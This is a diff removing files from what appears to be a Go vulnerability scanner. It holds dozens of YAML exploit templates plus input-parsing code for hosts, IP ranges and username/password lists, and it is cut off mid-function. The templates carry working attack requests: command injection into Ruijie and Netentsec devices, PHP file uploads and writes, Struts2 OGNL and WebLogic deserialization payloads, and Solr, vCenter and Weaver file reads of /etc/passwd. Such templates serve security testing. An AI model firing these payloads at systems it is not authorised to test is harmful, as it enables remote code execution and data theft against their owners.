- method: GET
|
||||
path: /api/v1/users/connection-token/
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
|
||||
- method: GET
|
||||
path: /api/v1/users/connection-token/?user-only={{r1}}
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
|
||||
detail:
|
||||
author: mvhz81
|
||||
info: jumpserver unauth read logfile + jumpserver rce
|
||||
links:
|
||||
- https://s.tencent.com/research/bsafe/1228.html
|
||||
- https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
|
||||
- https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
|
||||
@@ -1,18 +0,0 @@
|
||||
name: poc-yaml-netentsec-ngfw-rce
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
r3: randomInt(800000000, 1000000000)
|
||||
r4: randomInt(800000000, 1000000000)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /directdata/direct/router
|
||||
body: {"action":"SSLVPN_Resource", "method":"deleteImage", "data":[{"data":["/var/www/html/{{r1}};expr {{r3}} + {{r4}} > /var/www/html/{{r2}}"]}], "type":"rpc", "tid":17, "f8839p7rqtj":"="}
|
||||
expression: response.status == 200
|
||||
- method: GET
|
||||
path: /{{r2}}
|
||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r3 + r4)))
|
||||
detail:
|
||||
author: jingling(https://github.com/shmilylty)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
|
||||
@@ -1,29 +0,0 @@
|
||||
name: poc-yaml-ruijie-eg-rce
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
phpcode: >
|
||||
"<?php echo '" + r1 + "'; unlink(__FILE__); ?>"
|
||||
payload: base64(phpcode)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/guest_auth/guestIsUp.php"
|
||||
headers:
|
||||
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
|
||||
Accept-Encoding: "gzip, deflate"
|
||||
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
|
||||
body: |
|
||||
ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: GET
|
||||
path: "/guest_auth/{{r2}}.php"
|
||||
headers:
|
||||
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
|
||||
Accept-Encoding: "gzip, deflate"
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1))
|
||||
detail:
|
||||
author: White(https://github.com/WhiteHSBG)
|
||||
links:
|
||||
- https://xz.aliyun.com/t/9016?page=1
|
||||
@@ -1,20 +0,0 @@
|
||||
name: poc-yaml-ruijie-rce-cnvd-2021-09650
|
||||
set:
|
||||
r1: randomLowercase(9)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /guest_auth/guestIsUp.php
|
||||
body: mac = 1 & ip = 127.0.0.1 | id > {{r1}}.txt
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: GET
|
||||
path: /guest_auth/{{r1}}.txt
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"uid")
|
||||
detail:
|
||||
author: jdr
|
||||
info: CNVD-2021-09650(Ruijie-EWEB网管系统 RCE)
|
||||
links:
|
||||
- https://github.com/opsxcq/exploit-CVE-2014-6271/
|
||||
@@ -1,25 +0,0 @@
|
||||
name: poc-yaml-solr-fileread1
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/solr/admin/cores?indexInfo=false&wt=json"
|
||||
expression: response.status == 200 && response.body.bcontains(b"responseHeader")
|
||||
search: >-
|
||||
"name":"(?P<core>.+?)"
|
||||
- method: POST
|
||||
path: "/solr/{{core}}/config"
|
||||
body: |
|
||||
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
|
||||
expression: |
|
||||
response.body.bcontains(b"responseHeader")
|
||||
- method: POST
|
||||
path: "/solr/{{core}}/debug/dump?param=ContentStreams"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
stream.url=file:///etc/passwd
|
||||
expression: |
|
||||
response.status == 200 && r'root:[x*]:0:0:'.bmatches(response.body)
|
||||
detail:
|
||||
author: whami-root(https://github.com/whami-root)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186
|
||||
@@ -1,25 +0,0 @@
|
||||
name: poc-yaml-solr-fileread2
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/solr/admin/cores?indexInfo=false&wt=json"
|
||||
expression: "true"
|
||||
search: >-
|
||||
"name":"(?P<core>.+?)"
|
||||
- method: POST
|
||||
path: "/solr/{{core}}/config"
|
||||
body: |
|
||||
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
|
||||
expression: |
|
||||
response.body.bcontains(b"responseHeader")
|
||||
- method: POST
|
||||
path: "/solr/{{core}}/debug/dump?param=ContentStreams"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
stream.url=file:///c://windows/win.ini
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"for 16-bit app support")
|
||||
detail:
|
||||
author: whami-root(https://github.com/whami-root)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-spring-heapdump-file
|
||||
rules:
|
||||
- method: HEAD
|
||||
path: /heapdump
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.contains("application/octet-stream")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
info: spring-heapdump-file
|
||||
links:
|
||||
- https://www.cnblogs.com/wyb628/p/8567610.html
|
||||
@@ -1,9 +0,0 @@
|
||||
name: poc-yaml-springboot-env-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /env
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch")
|
||||
detail:
|
||||
links:
|
||||
- https://github.com/LandGrey/SpringBootVulExploit
|
||||
@@ -1,9 +0,0 @@
|
||||
name: poc-yaml-springboot-env-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /actuator/env
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch")
|
||||
detail:
|
||||
links:
|
||||
- https://github.com/LandGrey/SpringBootVulExploit
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-struts2_045-1
|
||||
set:
|
||||
r1: randomInt(800, 1000)
|
||||
r2: randomInt(800, 1000)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /
|
||||
headers:
|
||||
Content-Type: ${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("Keyvalue",{{r1}}*{{r2}})}.multipart/form-data
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
"Keyvalue" in response.headers && response.headers["Keyvalue"].contains(string(r1 * r2))
|
||||
detail:
|
||||
author: shadown1ng(https://github.com/shadown1ng)
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-struts2_045-2
|
||||
rules:
|
||||
- method: GET
|
||||
path: /
|
||||
headers:
|
||||
Content-Type: "%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}"
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.body.bcontains(b"struts2_security_check")
|
||||
detail:
|
||||
author: shadown1ng(https://github.com/shadown1ng)
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-swagger-ui-unauth1
|
||||
rules:
|
||||
- method: GET
|
||||
path: /swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-swagger-ui-unauth2
|
||||
rules:
|
||||
- method: GET
|
||||
path: /api/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-swagger-ui-unauth3
|
||||
rules:
|
||||
- method: GET
|
||||
path: /service/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-swagger-ui-unauth4
|
||||
rules:
|
||||
- method: GET
|
||||
path: /web/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-swagger-ui-unauth5
|
||||
rules:
|
||||
- method: GET
|
||||
path: /swagger/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-swagger-ui-unauth6
|
||||
rules:
|
||||
- method: GET
|
||||
path: /actuator/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-swagger-ui-unauth7
|
||||
rules:
|
||||
- method: GET
|
||||
path: /libs/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-swagger-ui8
|
||||
rules:
|
||||
- method: GET
|
||||
path: /template/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,16 +0,0 @@
|
||||
name: poc-yaml-tongda-user-session-disclosure
|
||||
rules:
|
||||
- method: GET
|
||||
path: /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
|
||||
follow_redirects: false
|
||||
expression: "true"
|
||||
|
||||
- method: POST
|
||||
path: /general/userinfo.php?UID=1
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"\"dept_name\":\"") && response.body.bcontains(b"\"online_flag\":") && response.headers["Content-Type"].contains("application/json")
|
||||
detail:
|
||||
author: kzaopa(https://github.com/kzaopa)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/llyGEBRo0t-C7xOLMDYfFQ
|
||||
@@ -1,25 +0,0 @@
|
||||
name: poc-yaml-vengd-upload-rce
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
r3: randomInt(40000, 44800)
|
||||
r4: randomInt(40000, 44800)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /Upload/upload_file.php?l={{r1}}
|
||||
headers:
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
|
||||
body: |-
|
||||
------WebKitFormBoundaryfcKRltGv
|
||||
Content-Disposition: form-data; name="file"; filename="{{r2}}.php"
|
||||
Content-Type: image/avif
|
||||
<?php print({{r3}} * {{r4}}); ?>
|
||||
------WebKitFormBoundaryfcKRltGv--
|
||||
expression: response.status == 200 && response.body.bcontains(b"_Request:")
|
||||
- method: GET
|
||||
path: '/Upload/{{r1}}/{{r2}}.php'
|
||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r3 * r4)))
|
||||
detail:
|
||||
author: jingling(https://github.com/shmilylty)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-vmware-vcenter-arbitrary-file-read
|
||||
rules:
|
||||
- method: GET
|
||||
path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
|
||||
detail:
|
||||
author: MrP01ntSun(https://github.com/MrPointSun)
|
||||
links:
|
||||
- https://t.co/LfvbyBUhF5
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-vmware-vcenter-arbitrary-file-read2
|
||||
rules:
|
||||
- method: GET
|
||||
path: /eam/vib?id=/etc/passwd
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
||||
detail:
|
||||
author: MrP01ntSun(https://github.com/MrPointSun)
|
||||
links:
|
||||
- https://t.co/LfvbyBUhF5
|
||||
@@ -1,19 +0,0 @@
|
||||
name: poc-yaml-weaver-ebridge-file-read-linux
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
|
||||
search: |
|
||||
\"id\"\:\"(?P<var>.+?)\"\,
|
||||
- method: GET
|
||||
path: "/file/fileNoLogin/{{var}}"
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
||||
detail:
|
||||
author: mvhz81
|
||||
info: e-bridge-file-read for Linux
|
||||
links:
|
||||
- https://mrxn.net/Infiltration/323.html
|
||||
@@ -1,19 +0,0 @@
|
||||
name: poc-yaml-weaver-ebridge-file-read-windows
|
||||
rules:
|
||||
- method: GET
|
||||
path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
|
||||
search: |
|
||||
\"id\"\:\"(?P<var>.+?)\"\,
|
||||
- method: GET
|
||||
path: /file/fileNoLogin/{{var}}
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
|
||||
detail:
|
||||
author: mvhz81
|
||||
info: e-bridge-file-read for windows
|
||||
links:
|
||||
- https://mrxn.net/Infiltration/323.html
|
||||
@@ -1,20 +0,0 @@
|
||||
name: poc-yaml-weblogic-cve-2017-10271 # nolint[:namematch]
|
||||
rules:
|
||||
- method: POST
|
||||
path: /wls-wsat/CoordinatorPortType
|
||||
headers:
|
||||
Content-Type: text/xml
|
||||
body: >-
|
||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void></void></void></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope></soapenv:Envelope>
|
||||
follow_redirects: true
|
||||
expression: >
|
||||
response.body.bcontains(b"225773091")
|
||||
detail:
|
||||
vulnpath: '/wls-wsat/CoordinatorPortType'
|
||||
author: fnmsd(https://github.com/fnmsd)
|
||||
description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271'
|
||||
weblogic_version: '10'
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
|
||||
- https://github.com/QAX-A-Team/WeblogicEnvironment
|
||||
- https://xz.aliyun.com/t/5299
|
||||
@@ -1,20 +0,0 @@
|
||||
name: poc-yaml-weblogic-cve-2019-2725 # nolint[:namematch]
|
||||
rules:
|
||||
- method: POST
|
||||
path: /wls-wsat/CoordinatorPortType
|
||||
headers:
|
||||
Content-Type: text/xml
|
||||
body: >-
|
||||
<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>fff</wsa:Action><wsa:RelatesTo>hello</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><string><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"/><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void><void method="getWriter"><void method="write"><string/></void></void></void></void></void></void></void></void></void></java>]]></string></void></class></string></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
|
||||
follow_redirects: true
|
||||
expression: >
|
||||
response.body.bcontains(b"225773091")
|
||||
detail:
|
||||
vulnpath: '/wls-wsat/CoordinatorPortType'
|
||||
author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
|
||||
description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData'
|
||||
weblogic_version: '>12'
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
|
||||
- https://github.com/QAX-A-Team/WeblogicEnvironment
|
||||
- https://xz.aliyun.com/t/5299
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-yongyou-erp-nc-directory-traversal
|
||||
rules:
|
||||
- method: GET
|
||||
path: /NCFindWeb?service=IPreAlertConfigService&filename=
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"WEB-INF") && response.body.bcontains(b"Tree.js")
|
||||
detail:
|
||||
author: B1anda0(https://github.com/B1anda0)
|
||||
links:
|
||||
- https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/master/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BERP-NC%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md
|
||||
-183
@@ -1,183 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Parse(Info *HostInfo) {
|
||||
ParseScantype(Info)
|
||||
ParseUser(Info)
|
||||
ParsePass(Info)
|
||||
ParseInput(Info)
|
||||
}
|
||||
|
||||
func ParseUser(Info *HostInfo) {
|
||||
if Info.Username != "" {
|
||||
users := strings.Split(Info.Username, ",")
|
||||
for _, user := range users {
|
||||
if user != "" {
|
||||
Info.Usernames = append(Info.Usernames, user)
|
||||
}
|
||||
}
|
||||
for name := range Userdict {
|
||||
Userdict[name] = Info.Usernames
|
||||
}
|
||||
}
|
||||
if Userfile != "" {
|
||||
users, err := Readfile(Userfile)
|
||||
if err == nil {
|
||||
for _, user := range users {
|
||||
if user != "" {
|
||||
Info.Usernames = append(Info.Usernames, user)
|
||||
}
|
||||
}
|
||||
for name := range Userdict {
|
||||
Userdict[name] = Info.Usernames
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func ParsePass(Info *HostInfo) {
|
||||
if Info.Password != "" {
|
||||
passs := strings.Split(Info.Password, ",")
|
||||
for _, pass := range passs {
|
||||
if pass != "" {
|
||||
Info.Passwords = append(Info.Passwords, pass)
|
||||
}
|
||||
}
|
||||
Passwords = Info.Passwords
|
||||
}
|
||||
if Passfile != "" {
|
||||
passs, err := Readfile(Passfile)
|
||||
if err == nil {
|
||||
for _, pass := range passs {
|
||||
if pass != "" {
|
||||
Info.Passwords = append(Info.Passwords, pass)
|
||||
}
|
||||
}
|
||||
Passwords = Info.Passwords
|
||||
}
|
||||
}
|
||||
if UrlFile != "" {
|
||||
urls, err := Readfile(UrlFile)
|
||||
if err == nil {
|
||||
TmpUrls := make(map[string]struct{})
|
||||
for _, url := range urls {
|
||||
if _, ok := TmpUrls[url]; !ok {
|
||||
TmpUrls[url] = struct{}{}
|
||||
if url != "" {
|
||||
Urls = append(Urls, url)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func Readfile(filename string) ([]string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Printf("Open %s error, %v\n", filename, err)
|
||||
os.Exit(0)
|
||||
}
|
||||
defer file.Close()
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
content = append(content, scanner.Text())
|
||||
}
|
||||
}
|
||||
return content, nil
|
||||
}
|
||||
|
||||
func ParseInput(Info *HostInfo) {
|
||||
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
|
||||
fmt.Println("Host is none")
|
||||
flag.Usage()
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if TmpOutputfile != "" {
|
||||
if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
|
||||
Outputfile = getpath() + TmpOutputfile
|
||||
} else {
|
||||
Outputfile = TmpOutputfile
|
||||
}
|
||||
}
|
||||
if TmpSave == true {
|
||||
IsSave = false
|
||||
}
|
||||
if Info.Ports == DefaultPorts {
|
||||
Info.Ports += Webport
|
||||
}
|
||||
}
|
||||
|
||||
func ParseScantype(Info *HostInfo) {
|
||||
_, ok := PORTList[Info.Scantype]
|
||||
if !ok {
|
||||
showmode()
|
||||
}
|
||||
if Info.Scantype != "all" {
|
||||
if Info.Ports == DefaultPorts {
|
||||
switch Info.Scantype {
|
||||
case "web":
|
||||
Info.Ports = Webport
|
||||
case "ms17010":
|
||||
Info.Ports = "445"
|
||||
case "cve20200796":
|
||||
Info.Ports = "445"
|
||||
case "main":
|
||||
Info.Ports = DefaultPorts
|
||||
default:
|
||||
port, _ := PORTList[Info.Scantype]
|
||||
Info.Ports = strconv.Itoa(port)
|
||||
}
|
||||
fmt.Println("-m ", Info.Scantype, " start scan the port:", Info.Ports)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func CheckErr(text string, err error) {
|
||||
if err != nil {
|
||||
fmt.Println(text, err.Error())
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
|
||||
func getpath() string {
|
||||
file, _ := exec.LookPath(os.Args[0])
|
||||
path1, _ := filepath.Abs(file)
|
||||
filename := filepath.Dir(path1)
|
||||
var path string
|
||||
if strings.Contains(filename, "/") {
|
||||
tmp := strings.Split(filename, `/`)
|
||||
tmp[len(tmp)-1] = ``
|
||||
path = strings.Join(tmp, `/`)
|
||||
} else if strings.Contains(filename, `\`) {
|
||||
tmp := strings.Split(filename, `\`)
|
||||
tmp[len(tmp)-1] = ``
|
||||
path = strings.Join(tmp, `\`)
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func showmode() {
|
||||
fmt.Println("The specified scan type does not exist")
|
||||
fmt.Println("-m")
|
||||
for name := range PORTList {
|
||||
fmt.Println(" [" + name + "]")
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -1,210 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var ParseIPErr = errors.New(" host parsing error\n" +
|
||||
"format: \n" +
|
||||
"192.168.1.1\n" +
|
||||
"192.168.1.1/8\n" +
|
||||
"192.168.1.1/16\n" +
|
||||
"192.168.1.1/24\n" +
|
||||
"192.168.1.1,192.168.1.2\n" +
|
||||
"192.168.1.1-192.168.255.255\n" +
|
||||
"192.168.1.1-255")
|
||||
|
||||
func ParseIP(ip string, filename string) (hosts []string, err error) {
|
||||
|
||||
if ip != "" {
|
||||
hosts, err = ParseIPs(ip)
|
||||
}
|
||||
if filename != "" {
|
||||
var filehost []string
|
||||
filehost, _ = Readipfile(filename)
|
||||
hosts = append(hosts, filehost...)
|
||||
}
|
||||
hosts = RemoveDuplicate(hosts)
|
||||
return hosts, err
|
||||
}
|
||||
|
||||
func ParseIPs(ip string) (hosts []string, err error) {
|
||||
if strings.Contains(ip, ",") {
|
||||
IPList := strings.Split(ip, ",")
|
||||
var ips []string
|
||||
for _, ip := range IPList {
|
||||
ips, err = ParseIPone(ip)
|
||||
CheckErr(ip, err)
|
||||
hosts = append(hosts, ips...)
|
||||
}
|
||||
return hosts, err
|
||||
} else {
|
||||
hosts, err = ParseIPone(ip)
|
||||
CheckErr(ip, err)
|
||||
return hosts, err
|
||||
}
|
||||
}
|
||||
|
||||
func ParseIPone(ip string) ([]string, error) {
|
||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
||||
switch {
|
||||
case strings.Contains(ip[len(ip)-3:], "/24"):
|
||||
return ParseIPA(ip)
|
||||
case strings.Contains(ip[len(ip)-3:], "/16"):
|
||||
return ParseIPD(ip)
|
||||
case strings.Contains(ip[len(ip)-2:], "/8"):
|
||||
return ParseIPE(ip)
|
||||
case strings.Count(ip, "-") == 1:
|
||||
return ParseIPC(ip)
|
||||
case reg.MatchString(ip):
|
||||
_, err := net.LookupHost(ip)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []string{ip}, nil
|
||||
default:
|
||||
testIP := net.ParseIP(ip)
|
||||
if testIP == nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
return []string{ip}, nil
|
||||
}
|
||||
}
|
||||
|
||||
//Parsing CIDR IP
|
||||
func ParseIPA(ip string) ([]string, error) {
|
||||
realIP := ip[:len(ip)-3]
|
||||
testIP := net.ParseIP(realIP)
|
||||
|
||||
if testIP == nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
IPrange := strings.Join(strings.Split(realIP, ".")[0:3], ".")
|
||||
var AllIP []string
|
||||
for i := 0; i <= 255; i++ {
|
||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(i))
|
||||
}
|
||||
return AllIP, nil
|
||||
}
|
||||
|
||||
//Resolving a range of IP,for example: 192.168.111.1-255,192.168.111.1-192.168.112.255
|
||||
func ParseIPC(ip string) ([]string, error) {
|
||||
IPRange := strings.Split(ip, "-")
|
||||
testIP := net.ParseIP(IPRange[0])
|
||||
var AllIP []string
|
||||
if len(IPRange[1]) < 4 {
|
||||
Range, err := strconv.Atoi(IPRange[1])
|
||||
if testIP == nil || Range > 255 || err != nil {
|
||||
